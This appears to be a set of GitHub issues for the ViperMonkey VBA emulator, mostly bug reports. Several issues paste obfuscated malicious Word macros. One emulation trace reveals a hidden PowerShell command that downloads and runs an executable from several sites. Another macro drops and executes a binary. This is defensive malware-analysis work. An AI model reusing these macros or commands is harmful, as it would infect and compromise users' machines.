ReDim nfbmc(3)
nfbmc(0) = 293675403
nfbmc(1) = 7
nfbmc(2) = 702

   Dim hYjPi()
ReDim hYjPi(3)
hYjPi(0) = 93
hYjPi(1) = 5
hYjPi(2) = 1976

   Dim jWQjS()
ReDim jWQjS(4)
jWQjS(0) = 17
jWQjS(1) = 303
jWQjS(2) = 982
jWQjS(3) = 9

   Dim OapZu()
ReDim OapZu(5)
OapZu(0) = 2
OapZu(1) = 9
OapZu(2) = 98834684
OapZu(3) = 55210411
OapZu(4) = 91

   Dim kWsjP()
ReDim kWsjP(4)
kWsjP(0) = 7408
kWsjP(1) = 321
kWsjP(2) = 9
kWsjP(3) = 312

   Dim pzhPSF()
ReDim pzhPSF(5)
pzhPSF(0) = 3
pzhPSF(1) = 414933890
pzhPSF(2) = 89
pzhPSF(3) = 962
pzhPSF(4) = 9

Shell@ LTuzuiQ + KZbIqrscsDqR + nqLzrRwnOzbkp, Format(0)
   Dim SJcYtF()
ReDim SJcYtF(2)
SJcYtF(0) = 6913
SJcYtF(1) = 65

End Sub


-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Sub AutoOpen (): 47 statement(s)
Module None
  Sub AutoOpen (): 47 statement(s)

-------------------------------------------------------------------------------
VBA MACRO FzniJjjRVH.bas
in file: dd0adccad0039f61c953ff7014f8c8aea50df0cf - OLE stream: u'Macros/VBA/FzniJjjRVH'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Function LTuzuiQ()

On Error Resume Next
Dim irbnC()
ReDim irbnC(2)
irbnC(0) = 2
irbnC(1) = 58

   Dim QvZWJ()
ReDim QvZWJ(3)
QvZWJ(0) = 33
QvZWJ(1) = 72780562
QvZWJ(2) = 8

   Dim AzHhc()
ReDim AzHhc(5)
AzHhc(0) = 6
AzHhc(1) = 392230015
AzHhc(2) = 8
AzHhc(3) = 9014
AzHhc(4) = 75197952

   Dim XtDsl()
ReDim XtDsl(5)
XtDsl(0) = 63625617
XtDsl(1) = 8
XtDsl(2) = 5
XtDsl(3) = 823
XtDsl(4) = 9

OBijuHBFaLa = Format(Chr(5 + 14 + 8 + 7 + 65)) + "md /V:/" + Format(Chr(3 + 10 + 5 + 5 + 44)) + Format(Chr(1 + 4 + 2 + 2 + 25)) + "^s^et l" + "^e=  ^   ^  ^ ^ " + "        ^}}" + "^{h" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^t^a" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^};^k^a^er^" + "b^;" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "ia^$^ me^tI^-ek"
Dim MvTTn()
ReDim MvTTn(5)
MvTTn(0) = 997
MvTTn(1) = 2
MvTTn(2) = 409
MvTTn(3) = 9
MvTTn(4) = 8054

   Dim TtCpY()
ReDim TtCpY(5)
TtCpY(0) = 517402771
TtCpY(1) = 299854020
TtCpY(2) = 91
TtCpY(3) = 5305
TtCpY(4) = 143

   Dim uXRIj()
ReDim uXRIj(4)
uXRIj(0) = 350
uXRIj(1) = 34
uXRIj(2) = 640
uXRIj(3) = 385980877

   Dim OjdDA()
ReDim OjdDA(5)
OjdDA(0) = 98889860
OjdDA(1) = 971
OjdDA(2) = 24
OjdDA(3) = 2
OjdDA(4) = 3998

rFqkiY = "^ovn^I^;)" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "ia^$" + "^ ,^j^p^X$(^el" + "iF^d^a^o^lnw^o^D.^w^u^I${^y" + "rt^{)ZXn$ ni^ ^j^pX$" + "(h" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^a^er^of^;'^" + "e^xe.'^+^O^U^I$+^'^\^'+" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^" + "i^lbup:vne$^=" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "^ia$^" + ";^'093'^ ^= O^UI$^" + ";)'@'(tilp^S^.'J2b6^B/^tn^etn" + "o" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^-^pw/r^"
Dim tZnGwA()
ReDim tZnGwA(4)
tZnGwA(0) = 878
tZnGwA(1) = 167883523
tZnGwA(2) = 3977
tZnGwA(3) = 257

zUhDioazMp = "k^.o" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^.^y^ar^t^i//^:p" + "^tth@A^" + "A" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "57^Bj/ur." + Format(Chr(5 + 14 + 8 + 7 + 65)) + "i^t^s" + "i^go^lk^ta" + "//^:^pt^th@l"
Dim rIzjH()
ReDim rIzjH(5)
rIzjH(0) = 15
rIzjH(1) = 85
rIzjH(2) = 222341352
rIzjH(3) = 774
rIzjH(4) = 15414680

   Dim nWPYh()
ReDim nWPYh(2)
nWPYh(0) = 7
nWPYh(1) = 9917

   Dim hjSSnC()
ReDim hjSSnC(4)
hjSSnC(0) = 8
hjSSnC(1) = 3925
hjSSnC(2) = 272
hjSSnC(3) = 971

   Dim hiGHL()
ReDim hiGHL(3)
hiGHL(0) = 1819
hiGHL(1) = 7321
hiGHL(2) = 3

   Dim GbGfr()
ReDim GbGfr(3)
GbGfr(0) = 174
GbGfr(1) = 94
GbGfr(2) = 11

   Dim fwQjB()
ReDim fwQjB(3)
fwQjB(0) = 59130641
fwQjB(1) = 72
fwQjB(2) = 62

pWfpdNuIl = "^0^k5/^s^d" + "a^o^l^pu/tne^tno" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "-pw/ra^." + "u^d^e^.pl^u.sa^moi^" + "d^ie^do" + "tut^itsn^i//^:^p^t^" + "th@4p2u^Z01/^m^o" + Format(Chr(5 + 14 + 8 + 7 + 65)) + ".^ov^it^isopro^lav//:^ptt" + "^h^@j^A^" + "M^2U/^ur^.ely^" + "t^snusbd//^:ptth'^=^Z^Xn$^;^t"
Dim jwJMh()
ReDim jwJMh(5)
jwJMh(0) = 350988871
jwJMh(1) = 54
jwJMh(2) = 2
jwJMh(3) = 352674196
jwJMh(4) = 24

   Dim UKQvML()
ReDim UKQvML(4)
UKQvML(0) = 5
UKQvML(1) = 60
UKQvML(2) = 318547392
UKQvML(3) = 87

   Dim GilGm()
ReDim GilGm(5)
GilGm(0) = 8
GilGm(1) = 5
GilGm(2) = 799
GilGm(3) = 871
GilGm(4) = 82

   Dim tiPpu()
ReDim tiPpu(2)
tiPpu(0) = 7
tiPpu(1) = 73

CcZXXktaIj = "neil" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "beW.^teN^ t" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^e" + "^jbo-^wen=^w^u^I^$^" + " ^l^l^eh^sr^ewo^p&&^f^o" + "r /^L %^W ^in (" + "^396^;-^" + "1;^0)d^o ^s^e^t ^M" + "G^U=!^MG^U!!l^e:~%^W,1!&&^i^f" + " %^W e^q^u ^0 " + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^a^l^" + "l %^MG^U:^*^M^G" + "^U!^=%" + Format(Chr(1 + 4 + 2 + 2 + 25)) + ""
LTuzuiQ = OBijuHBFaLa + rFqkiY + zUhDioazMp + pWfpdNuIl + CcZXXktaIj
   Dim cpBuji()
ReDim cpBuji(2)
cpBuji(0) = 6
cpBuji(1) = 146

   Dim wDszIX()
ReDim wDszIX(4)
wDszIX(0) = 462538301
wDszIX(1) = 225457549
wDszIX(2) = 9
wDszIX(3) = 20

End Function


-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Function LTuzuiQ (): 129 statement(s)
Module None
  Function LTuzuiQ (): 129 statement(s)

-------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
INFO     ACTION: Found Entry Point - params 'autoopen' -
INFO     evaluating Sub AutoOpen
ERROR    chr() arg not in range(256)
ERROR    8992 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    9459 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    293675403 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    702 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    1976 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    303 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    982 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    98834684 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    55210411 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    7408 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    321 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    312 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    414933890 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    962 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    72780562 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    392230015 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    9014 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    75197952 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    63625617 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    823 cannot be converted to ASCII.
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('"')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    997 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    409 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    8054 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    517402771 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    299854020 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    5305 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    350 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    640 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    385980877 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    98889860 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    971 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    3998 cannot be converted to ASCII.
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    878 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    167883523 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    3977 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    257 cannot be converted to ASCII.
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    222341352 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    774 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    15414680 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    9917 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    3925 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    272 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    971 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    1819 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    7321 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    59130641 cannot be converted to ASCII.
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    350988871 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    352674196 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    318547392 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    799 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    871 cannot be converted to ASCII.
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('"')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    462538301 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    225457549 cannot be converted to ASCII.
WARNING  Variable 'KZbIqrscsDqR' not found
WARNING  Variable 'nqLzrRwnOzbkp' not found
INFO     calling Function: Format(0)
WARNING  Function 'Format' not found
INFO     Calling Procedure: Shell('["md /V:/^s^et l^e=  ^   ^  ^ ^         ^}}^{h^t^a^};^k^a^er^b^;ia^$^ me^tI^-ek^...')
INFO     Shell("md /V:/^s^et l^e=  ^   ^  ^ ^         ^}}^{h^t^a^};^k^a^er^b^;ia^$^ me^tI^-ek^ovn^I^;)ia^$^ ,^j^p^X$(^eliF^d^a^o^lnw^o^D.^w^u^I${^yrt^{)ZXn$ ni^ ^j^pX$(h^a^er^of^;'^e^xe.'^+^O^U^I$+^'^\\^'+^i^lbup:vne$^=^ia$^;^'093'^ ^= O^UI$^;)'@'(tilp^S^.'J2b6^B/^tn^etno^-^pw/r^k^.o^.^y^ar^t^i//^:p^tth@A^A57^Bj/ur.i^t^si^go^lk^ta//^:^pt^th@l^0^k5/^s^da^o^l^pu/tne^tno-pw/ra^.u^d^e^.pl^u.sa^moi^d^ie^dotut^itsn^i//^:^p^t^th@4p2u^Z01/^m^o.^ov^it^isopro^lav//:^ptt^h^@j^A^M^2U/^ur^.ely^t^snusbd//^:ptth'^=^Z^Xn$^;^tneilbeW.^teN^ t^e^jbo-^wen=^w^u^I^$^ ^l^l^eh^sr^ewo^p&&^f^or /^L %^W ^in (^396^;-^1;^0)d^o ^s^e^t ^MG^U=!^MG^U!!l^e:~%^W,1!&&^i^f %^W e^q^u ^0 ^a^l^l %^MG^U:^*^M^G^U!^=%")
INFO     ACTION: Execute Command - params "md /V:/^s^et l^e=  ^   ^  ^ ^         ^}}^{h^t^a^};^k^a^er^b^;ia^$^ me^tI^-ek^ovn^I^;)ia^$^ ,^j^p^X$(^eliF^d^a^o^lnw^o^D.^w^u^I${^yrt^{)ZXn$ ni^ ^j^pX$(h^a^er^of^;'^e^xe.'^+^O^U^I$+^'^\\^'+^i^lbup:vne$^=^ia$^;^'093'^ ^= O^UI$^;)'@'(tilp^S^.'J2b6^B/^tn^etno^-^pw/r^k^.o^.^y^ar^t^i//^:p^tth@A^A57^Bj/ur.i^t^si^go^lk^ta//^:^pt^th@l^0^k5/^s^da^o^l^pu/tne^tno-pw/ra^.u^d^e^.pl^u.sa^moi^d^ie^dotut^itsn^i//^:^p^t^th@4p2u^Z01/^m^o.^ov^it^isopro^lav//:^ptt^h^@j^A^M^2U/^ur^.ely^t^snusbd//^:ptth'^=^Z^Xn$^;^tneilbeW.^teN^ t^e^jbo-^wen=^w^u^I^$^ ^l^l^eh^sr^ewo^p&&^f^or /^L %^W ^in (^396^;-^1;^0)d^o ^s^e^t ^MG^U=!^MG^U!!l^e:~%^W,1!&&^i^f %^W e^q^u ^0 ^a^l^l %^MG^U:^*^M^G^U!^=%" - Shell function
ERROR    chr() arg not in range(256)
ERROR    6913 cannot be converted to ASCII.
Recorded Actions:
+-------------------+---------------------------+----------------+
| Action            | Parameters                | Description    |
+-------------------+---------------------------+----------------+
| Found Entry Point | autoopen                  |                |
| Execute Command   | md /V:/^s^et l^e=  ^   ^  | Shell function |
|                   | ^ ^         ^}}^{h^t^a^}; |                |
|                   | ^k^a^er^b^;ia^$^          |                |
|                   | me^tI^-ek^ovn^I^;)ia^$^ , |                |
|                   | ^j^p^X$(^eliF^d^a^o^lnw^o |                |
|                   | ^D.^w^u^I${^yrt^{)ZXn$    |                |
|                   | ni^ ^j^pX$(h^a^er^of^;'^e |                |
|                   | ^xe.'^+^O^U^I$+^'^\^'+^i^ |                |
|                   | lbup:vne$^=^ia$^;^'093'^  |                |
|                   | ^= O^UI$^;)'@'(tilp^S^.'J |                |
|                   | 2b6^B/^tn^etno^-^pw/r^k^. |                |
|                   | o^.^y^ar^t^i//^:p^tth@A^A |                |
|                   | 57^Bj/ur.i^t^si^go^lk^ta/ |                |
|                   | /^:^pt^th@l^0^k5/^s^da^o^ |                |
|                   | l^pu/tne^tno-pw/ra^.u^d^e |                |
|                   | ^.pl^u.sa^moi^d^ie^dotut^ |                |
|                   | itsn^i//^:^p^t^th@4p2u^Z0 |                |
|                   | 1/^m^o.^ov^it^isopro^lav/ |                |
|                   | /:^ptt^h^@j^A^M^2U/^ur^.e |                |
|                   | ly^t^snusbd//^:ptth'^=^Z^ |                |
|                   | Xn$^;^tneilbeW.^teN^      |                |
|                   | t^e^jbo-^wen=^w^u^I^$^    |                |
|                   | ^l^l^eh^sr^ewo^p&&^f^or   |                |
|                   | /^L %^W ^in               |                |
|                   | (^396^;-^1;^0)d^o ^s^e^t  |                |
|                   | ^MG^U=!^MG^U!!l^e:~%^W,1! |                |
|                   | &&^i^f %^W e^q^u ^0       |                |
|                   | ^a^l^l                    |                |
|                   | %^MG^U:^*^M^G^U!^=%       |                |
+-------------------+---------------------------+----------------+

UnicodeDecodeError

this sample triggers a UnicodeDecodeError when calling prettytable to display the recorded actions at the end: https://www.hybrid-analysis.com/sample/0e70602d6f82e27686b5c1bba49f3889b5c5ddcd96bc0f0cad8c30743e63f87e?environmentId=100

Recorded Actions:
Traceback (most recent call last):
  File "c:\python27\lib\site-packages\vipermonkey\vmonkey.py", line 404, in process_file
    print(vm.dump_actions())
  File "c:\python27\lib\site-packages\prettytable.py", line 240, in __str__
    return self.__unicode__().encode(self.encoding)
  File "c:\python27\lib\site-packages\prettytable.py", line 243, in __unicode__
    return self.get_string()
  File "c:\python27\lib\site-packages\prettytable.py", line 987, in get_string
    formatted_rows = self._format_rows(rows, options)
  File "c:\python27\lib\site-packages\prettytable.py", line 942, in _format_rows
    return [self._format_row(row, options) for row in rows]
  File "c:\python27\lib\site-packages\prettytable.py", line 939, in _format_row
    return [self._format_value(field, value) for (field, value) in zip(self._field_names, row)]
  File "c:\python27\lib\site-packages\prettytable.py", line 890, in _format_value
    return self._unicode(value)
  File "c:\python27\lib\site-packages\prettytable.py", line 181, in _unicode
    value = unicode(value, self.encoding, "strict")
  File "c:\python27\lib\encodings\utf_8.py", line 16, in decode
    return codecs.utf_8_decode(input, errors, True)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x94 in position 127: invalid start byte

Accept source code as input

If I understand correctly, as of now the tool only accepts macro files. However, one often needs to make changes to the macro, eg. to make it work correctly with ViperMonkey. It would be helpful if I could directly pass the VBA source code (eg. python vmonkey.py Module1.bas) rather than having to compile it back into a macro and pass it back to ViperMonkey.

Anyway, great work! As soon as I have time I'll certainly contribute.

ImportError: No module named codes

Hello,
I have followed the same steps as #40, but I have next error:

Traceback (most recent call last):
  File ".\vmonkey.py", line 103, in <module>
    from oletools.olevba import VBA_Parser, filter_vba
  File "C:\Users\xxx\Desktop\tools\pythonSW\PythonOld\lib\site-packages\oletools\olevba.py", line 300, in <module>
    from oletools import rtfobj
  File "C:\Users\xxx\Desktop\tools\pythonSW\PythonOld\lib\site-packages\oletools\rtfobj.py", line 121, in <module>
    from oletools.thirdparty.tablestream import tablestream
  File "C:\Users\xxx\Desktop\tools\pythonSW\PythonOld\lib\site-packages\oletools\thirdparty\tablestream\tablestream.py", line 82, in <module>
    import colorclass
  File "C:\Users\xxx\Desktop\tools\pythonSW\PythonOld\lib\site-packages\oletools\thirdparty\colorclass\__init__.py", line 11, in <module>
    from colorclass.codes import list_tags  # noqa
ImportError: No module named codes

Expected behavior
usage of vmonkey

Desktop (please complete the following information):

  • OS: Windows 10

Thank you

vmonkey does not fully support zipped files (-z option)

With the -z option, vmonkey should be able to process files from within a password-protected zip archive. But for now, an error is triggered when parsing document variables or calling xlrd, which expect a plain file:

>vmonkey "New invoice 4M087877.doc.zip" -z infected
 _    ___                 __  ___            __
| |  / (_)___  ___  _____/  |/  /___  ____  / /_____  __  __
| | / / / __ \/ _ \/ ___/ /|_/ / __ \/ __ \/ //_/ _ \/ / / /
| |/ / / /_/ /  __/ /  / /  / / /_/ / / / / ,< /  __/ /_/ /
|___/_/ .___/\___/_/  /_/  /_/\____/_/ /_/_/|_|\___/\__, /
     /_/                                           /____/
vmonkey 0.07 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

===============================================================================
FILE: New invoice 4M087877.doc in New invoice 4M087877.doc.zip
ERROR    Reading in metadata failed. [Errno 2] No such file or directory: 'New invoice 4M087877.doc'
ERROR    Reading in file as Excel failed. [Errno 2] No such file or directory: 'New invoice 4M087877.doc'
-------------------------------------------------------------------------------
VBA MACRO fqccqJYYpXCuhi.cls
in file: New invoice 4M087877.doc - OLE stream: u'Macros/VBA/fqccqJYYpXCuhi'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[...]
ERROR    Cannot read document variables. [Errno 2] No such file or directory: 'New invoice 4M087877.doc'
ERROR    Cannot read custom doc properties. [Errno 2] No such file or directory: 'New invoice 4M087877.doc'
ERROR    Cannot read document text from New invoice 4M087877.doc. [Errno 2] No such file or directory: 'New invoice 4M087877.doc'

Refactor process_file in vmonkey.py

process_file in vmonkey.py contains too much code, that should be in core.__init__.ViperMonkey, such as the parsing of document variables, parsing of excel files with xlrd, etc.

In the future, the ViperMonkey class should provide the complete API for applications to initialize and run ViperMonkey. vmonkey.py should be a simple CLI script to call the ViperMonkey API.

Explicit License

Hi there. Could you please explicitly include a LICENSE in your root directory? From the last paragraph I assume this is licensed under MIT, but I'm not sure.

FWIW at http://github.com/rubberduck-vba/Rubberduck we're looking into making code analysis inside the VBE to improve the experience. For that we might get some inspiration here.
It would be helpful if we could be sure that we can use this, otherwise we'll have to reinvent this from scratch.

On that note we have a pretty good VBA Grammar. (Note that it's licensed under GPL). You could build upon it to fix your Parser problems. If you have any code that blows it up, we'd love to hear from you in an issue 😄

Problem executing vmonkey

Describe the bug
When I'm running vmonkey, this error:

linuxmint vipermonkey # vmonkey /home/javierfsp/Descargas/Fact_Num_SNE700041.doc


| | / ()__ ___ / |/ / ____ / /___ __ __
| | / / / __ / _ / / /|/ / __ / __ / /// _ / / / /
| |/ / / /
/ / / / / / / / // / / / / ,< / __/ // /
|
// ./_// // //_// ///||___/_, /
// /___/
vmonkey 0.07 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

===============================================================================
FILE: /home/javierfsp/Descargas/Fact_Num_SNE700041.doc
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/vipermonkey/vmonkey.py", line 811, in process_file
vba = VBA_Parser(filename, data, relaxed=True)
TypeError: init() got an unexpected keyword argument 'relaxed'

Desktop :

  • OS: Linux Mint 18
  • Python 2.7.12

"Expected end of text" Parsing Error

Getting the "Expected end of text" exception. I am working on running this down myself but figured you might be able to get it done faster.

PARSING VBA CODE:
DEBUG parsed Attribute VB_Name = 'ThisDocument'
DEBUG parsed Attribute VB_Base = '1Normal.ThisDocument'
DEBUG parsed Attribute VB_GlobalNameSpace = False
DEBUG parsed Attribute VB_Creatable = False
DEBUG parsed Attribute VB_PredeclaredId = True
DEBUG parsed Attribute VB_Exposed = True
DEBUG parsed Attribute VB_TemplateDerived = True
DEBUG parsed Attribute VB_Customizable = True
DEBUG parsed Option Explicit
DEBUG parsed Dim "(['DhuBaoK'], {})"
DEBUG parsed LebuGNcc4
DEBUG parsed qLkz_Rm
DEBUG parsed hpwy02E
DEBUG parsed DhuBaoK as SimpleNameExpression
DEBUG parsed LebuGNcc4.Run as SimpleNameExpression
DEBUG parsed Let DhuBaoK = LebuGNcc4.Run
Module 'ThisDocument'

*** PARSING ERROR ***
Function yza5b9ccHV(ByVal LebuGNcc4, ByVal qLkz_Rm, ByVal hpwy02E)
^
Expected end of text (at char 317), (line:12, col:1)

Here is the macro:
macro.txt

ViperMonkey can't parse array well

Of course,ViperMonkey is so good,but it also needs some improvement.
ViperMonkey doesn't support array assignment. And '( )' means function in python,but it may be array in VBA.It is important to solve the problem of parsing array.

VBA parser performance improvement for literals

Suggestion by Paul McGuire, pyparsing author:

One thing I noticed is that you implemented the low-level integer literals using Combine, Optional, Word, etc. I found when writing my Verilog parser that there is a real payoff in implementing these using the Regex class, since numeric literals appear very frequently in most code.

From literals.py, I think using these definitions would help somewhat with your performance issue:

    decimal_literal = Regex(r"\d+[%&^]?").setParseAction(lambda t:int(t[0].rstrip("%&^"))).setName('decimal_literal')
    octal_literal = Regex(r"&[oO][0-7]+[%&^]?").setParseAction(lambda t:int(t[0][2:].rstrip("%&^"), 8)).setName('decimal_literal')
    hex_literal = Regex(r"&[hH][0-9a-fA-F]+[%&^]?").setParseAction(lambda t:int(t[0][2:].rstrip("%&^"), 16)).setName('decimal_literal')

Strip option removes useful statements

Using the -s option means the sample I'm looking at isn't parsed as well. Without stripping the Application.Run() command is found, with stripping it isn't.

To Reproduce
Dridex sample I'm testing is here: http://malwaretech.com/downloads/dridex.zip
I extracted the VBA macro into a seperate .vba file using oledump, hosted on Pastebin.
Compare the results of the two commands:
python vmonkey.py ./dridex.vba
python vmonkey.py -s ./dridex.vba

Expected behavior
To have the same analysis, with the stripped one obviously having less statements if they are genuinely useless.

Screenshots
Screenshot of stripped (worse) output
image

Screenshot of the non-stripped (better) output
image

Desktop (please complete the following information):

  • Linux, remnux-6.0, latest updates

Function Sin, Tan ecc not found.

hi i love your tool i try to decode a vba but i found some problem with some funcion


PARSING VBA CODE:
INFO parsed Function wbDvMsnKwQF (): 189 statement(s)
Module 'BORKmQvFwpd'
Function wbDvMsnKwQF (): 189 statement(s)


TRACING VBA CODE (entrypoint = Auto*):
INFO calling Function: Sin(12)
ERROR Function 'Sin' not found
ERROR Impossible to subtract arguments of different types
ERROR Impossible to sum arguments of different types
INFO calling Function: Tan(0)
ERROR Function 'Tan' not found
ERROR Impossible to multiply arguments of different types
ERROR Impossible to divide arguments of different types
INFO calling Function: Log(97)
ERROR Function 'Log' not found
ERROR Impossible to sum arguments of different types
INFO calling Function: Atn(0)
ERROR Function 'Atn' not found
ERROR Impossible to sum arguments of different types
Traceback (most recent call last):

can you help ?
thank you a lot

Expected end of text - Parse Error

Latest version of vipermonkey. Parse error.
FILE: a91caa415fbc8104d5ce9342334788bc


| | / ()__ ___ / |/ / ____ / /___ __ __
| | / / / __ / _ / / /|/ / __ / __ / /// _ / / / /
| |/ / / /
/ / / / / / / / // / / / / ,< / __/ // /
|
// ./_// // //_// ///||___/_, /
// /___/
vmonkey 0.07 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

===============================================================================
FILE: a91caa415fbc8104d5ce9342334788bc

VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'



VBA CODE (with long lines collapsed):
Const rcgitgmqmj = 2
Const hctgnzghgt = 1
Const aatdzxfzba = 0
Sub Auto_Open()
Ocbkj12
End Sub
Sub fbbqjtjfsdnzrdatj()
Dim ihkfqdupbjmccvndfqkr As Integer
Dim asubgqvzmprbnwwrg As String
Dim kskxczctstnn As String
Dim aryyrsusjictuu As Integer
Dim Ocbkj4 As Paragraph
Dim mtphndodfugyvurkawxs As Integer
Dim jcidsljyrh As Boolean
Dim dcsjctvvngmkzyfg As Integer
Dim njraeemfbthybj As String
Dim dcenhyjkhrcztvetmuok As Byte
Dim iecidiwlmagdgacuh As String
iecidiwlmagdgacuh = ypqkgprlrkwz("536f77") & ypqkgprlrkwz("64746965647970")
asubgqvzmprbnwwrg = ypqkgprlrkwz("486b686e47535456") & ypqkgprlrkwz("787077632e657865")
kskxczctstnn = Environ(ypqkgprlrkwz("5553") & ypqkgprlrkwz("455250524f46494c45"))
ChDrive (kskxczctstnn)
ChDir (kskxczctstnn)
aryyrsusjictuu = FreeFile()
Open asubgqvzmprbnwwrg For Binary As aryyrsusjictuu
For Each Ocbkj4 In ActiveDocument.Paragraphs
DoEvents
njraeemfbthybj = Ocbkj4.Range.Text
If (Ocbkj9 = True) Then
mtphndodfugyvurkawxs = 1
While (Ocbkj8 < Len(njraeemfbthybj))
dcenhyjkhrcztvetmuok = Mid(njraeemfbthybj, Ocbkj8, 4)
Put #Ocbkj3, , dcenhyjkhrcztvetmuok
mtphndodfugyvurkawxs = mtphndodfugyvurkawxs + 4
Wend
ElseIf (InStr(hctgnzghgt, Ocbkj11, Sowdtiedyp) > 0 And Len(njraeemfbthybj) > 0) Then
jcidsljyrh = True
End If
Next
Close #Ocbkj3
lbqzxzrjlnkkijky (asubgqvzmprbnwwrg)
End Sub
Sub lbqzxzrjlnkkijky(emmlbielcbwhdlz As String)
Dim ihkfqdupbjmccvndfqkr As Integer
Dim kskxczctstnn As String
kskxczctstnn = Environ(ypqkgprlrkwz("5553") & ypqkgprlrkwz("455250524f46494c45"))
ChDrive (kskxczctstnn)
ChDir (kskxczctstnn)
